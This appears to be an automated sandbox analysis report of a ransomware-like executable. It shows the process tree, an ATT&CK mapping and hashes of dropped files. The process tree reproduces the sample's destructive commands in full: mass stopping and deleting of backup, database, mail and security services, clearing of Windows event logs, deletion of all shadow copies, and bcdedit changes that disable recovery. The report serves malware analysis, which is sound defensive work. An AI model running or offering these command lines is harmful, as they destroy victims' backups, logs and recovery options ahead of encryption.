C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun6⤵
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService6⤵
-
C:\Windows\SysWOW64\net.exenet stop JWService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService6⤵
-
C:\Windows\SysWOW64\net.exenet stop Service25⤵
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent6⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance6⤵
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdWebService13005⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13006⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"4⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService15⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService16⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService25⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService26⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance6⤵
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.45⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.46⤵
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20086⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap45⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap46⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxReplication5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeNotificationsBroker5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv35⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses35⤵
-
C:\Windows\SysWOW64\sc.exesc delete FxService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga5⤵
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice5⤵
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1005⤵
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools5⤵
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI5⤵
-
C:\Windows\SysWOW64\sc.exesc delete btPanel5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker5⤵
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat65⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator5⤵
-
C:\Windows\SysWOW64\sc.exesc delete bedbg5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecDeviceMediaService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecRPCService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentBrowser5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecJobEngine5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecManagementService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MDM5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TxQBService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Gailun_Downloader5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RemoteAssistService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete YunService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Serv-U5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EasyFZS Server"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Rpc Monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Nuo Update Monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenFastAssist5⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "AirSpaceChannel"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Analytic"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Application"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowFilterGraph"4⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowPluginControl"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Els_Hyphenation/Analytic"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "EndpointMapper"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "FirstUXPerf-Analytic"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "ForwardedEvents"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "General Logging"4⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "HardwareEvents"4⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS-GPIO/Analytic"4⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "IHM_DebugChannel"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS-I2C/Analytic"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-GPIO2/Debug"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-GPIO2/Performance"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-I2C/Debug"4⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-I2C/Performance"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Internet Explorer"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Key Management Service"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MF_MediaFoundationDeviceProxy"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MedaFoundationVideoProc"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MedaFoundationVideoProcD3D"4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationAsyncWrapper"4⤵
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe3⤵
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe3⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures4⤵
-
C:\Windows\System32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"5⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW1⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Indicator Removal on Host
1File Deletion
2Impair Defenses
1File Permissions Modification
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\7-Zip\Lang\FILE RECOVERY.txtFilesize
1KB
MD5668b20364b5dcae7a78778e1f2a33c02
SHA1e1db7697e7fe913814f05ab43e504da434d45514
SHA25652899b2c2321ac2206e495899652f8fe01899ccb9f54849e81f6e1ba3c736c05
SHA51264531823aaac27223a71f85cfcb21aace5c3ac351dc9c54b88f6f9e92c07a684e543a64dc9349b9077305c584c39f17e33707815c9b2ef3b2f42820638036d22
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
570B
MD5dcf125435524c0635986d863567cf0ac
SHA12de5ce678494a2d07510deeeaa32eac0f6c6351d
SHA2567f7201a8fafa73a5c7a36dfdecc07e0a20788b6d4f8951b7f64095f0d44e0b07
SHA5120176cc8fce40837e90280abebb1f40b22b61fffcb65195ee177f41c62eb7f3c6daf0b5183067d16b9e7700ce882cce69a17e438b3a56b8ea77360bd92383c023
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
5KB
MD5905fbefb9b9795db6aa684d01fa1ad7e
SHA18728445c60596ae90fef8c9f8d1c56fd7e69b4fb
SHA25620691623646b6ebd1fb51a55e7bd9e8bde3c8289dd752dc8550dbd1254c9c6ec
SHA512409958b2a9f0571154746e8b6397be2f0e154b901dc97c879ad6e255dd211c21d412a447b19255242af6ecbc0cb9de7f70da8ba6fa7273444587150bce4ad73d
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
5KB
MD5fcf1b69a26aedd8b9fa9f4c7d4754302
SHA18283b320fe686a26c7a377c8684c2dc970b74c94
SHA25696ea951f6efe62d1ae8fdb45da8138d96295d93d0ae732ae91deee505ab367a7
SHA5129511e2fe7f69188b732ec4f0aefbc398575a8c73a951b53b365cd4d54ea6c9882736a110baef85751b1c9956f41bace14b5aaa92c1d7599175b538d2f87b1a18
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
5KB
MD567ad5d547540e215fe026f00dc78353f
SHA1d6944dc30a5754a68321ad7e17244bdc49778620
SHA2562a950859066f0390a8c8a1d46ea08fa030359298524c8c9d4f7ae1281d91025c
SHA51208f4ba40ead607020e94179390a451df23b20286f45b3cfb7f6bc65e0639175e5827bc77e46686280d866864b346fe8e9c43a07b55436392d6a44946e68b2db4
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
146KB
MD5144c71f40b6f8a4f4b6229f5fd0e99c5
SHA116a1c799fa6e56412ac4d4b87a0054921fa46232
SHA256de68b465ff321cab7b9e9a056a5cb1dcfe1d43dd584f5d674705967ea0b70091
SHA5121fa1d4efbd4923446fc108a7a7ce24ca2b9b02afbeb5f14e2669fef21cb3ed15086bbe9ed305c644ee8fbf1a1c906263702081955878d486b5b341db1f72930a
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
146KB
MD54e1983351061af2cf091d037c924e0b7
SHA1095d19edade67ca1082e40b5c80c5bc6935b3aa7
SHA2565fc6aedfa929f406af4cc42c769a564bd9998c1d6bb46a130cad9c34b6da99cb
SHA51264125407a2fda0701cdcbbfebd217227e1afb652cbcf79eb8e64e59be8db00a25c3b29614805cce0fa6e43b444e57159cf18ce80a7cccb2d9f5bb18700169dbc
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
72KB
MD58e23a2f10c9e0586c99d3acf2bdd799e
SHA11e1145fabf442e743bd9462359bd54bb21e951a6
SHA256fa851584e06d0d82641b9d1fd075f2f6a69eeb30302fee0642de365b1edc5394
SHA5128d7e639470f12b973a40c2fbcb3f34d29a9dd1187d6f09155d5fe202ff4f2f37cd076cd7e91205810318ed77eb545184f4cc36106af014280c1090fd54502606
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info CacheFilesize
106KB
MD51aeaa13173149df4fabeeb6781f3406a
SHA137482e545127a15fe2f682fdb2b85fb0ea26decb
SHA2561bee306a5d3190ba70380eaa7c239443f40641bd87f4c1c94fbfafb614510838
SHA5123fd97a21185a509856a6fc85661ccfc36d136c8bc672995a1ee6a13ae1bf0004f953d71df61ebbd4f5545a5273a88b77f3e686bfbfade33c5d078387a5a669f3
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe56d007.TMPFilesize
100KB
MD5adcd791074c58a3581e5b1a0deb0d870
SHA1c64cf0e2406049a315aa40eb62a1c5da36bd919e
SHA256f69b11c07a2cba8422c7ca7d956d2ffb67647a10bd06fd3077a1a361e2061029
SHA5129bae47e91732c5765f3aa6623e39014f407276502961f28feb5cb18a0b022debf8a9d50b6265477703c654f0603a5c195f03a948958a4d7ea8df81bb95fac574
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
